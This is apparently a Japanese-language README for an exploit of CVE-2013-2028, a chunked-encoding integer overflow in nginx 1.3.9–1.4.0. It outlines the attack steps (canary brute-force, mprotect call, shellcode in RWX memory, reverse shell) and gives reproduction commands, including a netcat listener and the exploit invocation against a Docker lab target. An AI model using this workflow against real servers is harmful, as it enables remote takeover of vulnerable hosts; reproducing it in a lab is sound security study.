CVE-2013-2028 エクスプロイト

脆弱性の詳細

脆弱性のあるソフトウェア: Nginx 1.3.9 < 1.4.0
修正コミット: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

脆弱性は関数 ngx_http_parse_chunked に存在します。このエクスプロイトは ngx_http_parse_chunked で整数オーバーフローを引き起こし、その後それを利用してスタックをオーバーフローさせ、制御フローを乗っ取ります。

エクスプロイトの詳細

実際のエクスプロイトは4つのステップで構成されています：

1. バイト単位のブルートフォースでスタックカナリアの値を特定する
2. rcx の値（lpthread 内のどこかを指す）を使用して mprotect のアドレスを計算する。適切な引数で mprotect を呼び出す。
3. シェルコードを RWX メモリ領域にコピーする。
4. シェルコードにジャンプし、リバースシェルを起動する。

再現方法

1. ホストシステムでリスナーを起動します（例：netcat を使用：nc -lvp 4345）
2. 仮想マシンで Docker を起動します：sudo docker-compose up --build
3. エクスプロイトを実行します：python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <リスナーマシンのアドレス> -lp <リスナーマシンのポート>
4. エクスプロイトにカナリアの実際の値を見つけさせ、リバースシェルを起動します。